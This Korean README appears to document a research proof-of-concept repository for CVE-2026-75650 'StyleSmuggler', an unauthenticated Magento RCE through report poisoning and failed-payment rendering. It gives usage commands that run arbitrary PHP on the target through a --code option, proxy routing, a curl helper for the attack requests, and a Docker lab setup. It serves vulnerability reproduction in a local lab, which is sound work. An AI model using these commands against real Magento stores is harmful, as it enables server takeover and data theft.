
Python PoC로, report poisoning 및 failed-payment rendering을 통한 인증되지 않은 Magento RCE인 CVE-2026-75650 StyleSmuggler를 canary 검증과 함께 재현합니다.
로컬 Magento Open Source 랩 환경을 대상으로 StyleSmuggler, CVE-2026-75650을 HTTP만으로 재현하기 위한 비공개 연구 저장소입니다.
전체 기술 설명은 Magento StyleSmuggler RCE: Report Poisoning to Code Execution에서 확인하세요.
Python PoC는 다음과 같은 완전한 비인증 시퀀스를 수행합니다:
type, text, styles를 포함하여 실패한 결제 렌더링을 트리거합니다;컨테이너에 헬퍼를 복사하거나 Docker를 통해 스캐너를 호출하지 않습니다. Python 표준 라이브러리만으로 충분합니다.
python3 exploit.py --target http://localhost:18082
최종 출력에는 RCE VERIFIED와 해당 실행에서 앞서 출력된 것과 동일한 새 STYLESMUGGLER_RUN_... 마커가 포함되어야 합니다. 실행할 때마다 새로운 마커가 생성되므로 기존 카나리로는 검증을 통과할 수 없습니다.
보고서 경로는 대상 PHP 프로세스가 인식하는 경로여야 합니다. Magento가 다른 document root를 사용하는 경우 재정의하세요:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
<?php 또는 ?> 없이 PHP 문을 전달하세요:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
PoC는 제공된 프래그먼트를 실행하기 전에 새 검증 마커를 기록하며, 실행 후에도 해당 마커를 검증합니다.
보고서 오염과 최종 카나리 가져오기를 포함한 모든 요청은 HTTP 프록시를 통해 전송할 수 있습니다:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
가로챈 인증서가 Python에서 신뢰되지 않는 HTTPS 대상의 경우 --proxy-insecure를 추가하세요.
curl_failed_payment.sh는 4개의 Stage 2 요청을 수행하고 각 요청이 도달한 Magento 컴포넌트를 표시합니다. curl, jq, openssl이 필요합니다:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
환경 변수를 통해 다른 대상이나 Burp 리스너를 설정하세요:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml은 127.0.0.1:18082에서 격리된 MySQL, OpenSearch, PHP/Apache 서비스를 제공합니다. ./magento2-src에 설치된 Magento 소스 트리를 필요로 합니다.
최종 클린 검증에 사용된 Magento 커밋:
f8405be831efa461ec18cc5a637cd98afa767015
Magento의 일반적인 setup:install 프로세스를 실행하기 전에 소스를 클론하고 Composer 의존성을 설치하세요:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
데이터베이스 호스트 db, OpenSearch 호스트 opensearch, 기본 URL http://localhost:18082/로 Magento가 설치된 후 웹 서비스를 시작하세요:
docker compose up -d web
docker compose ps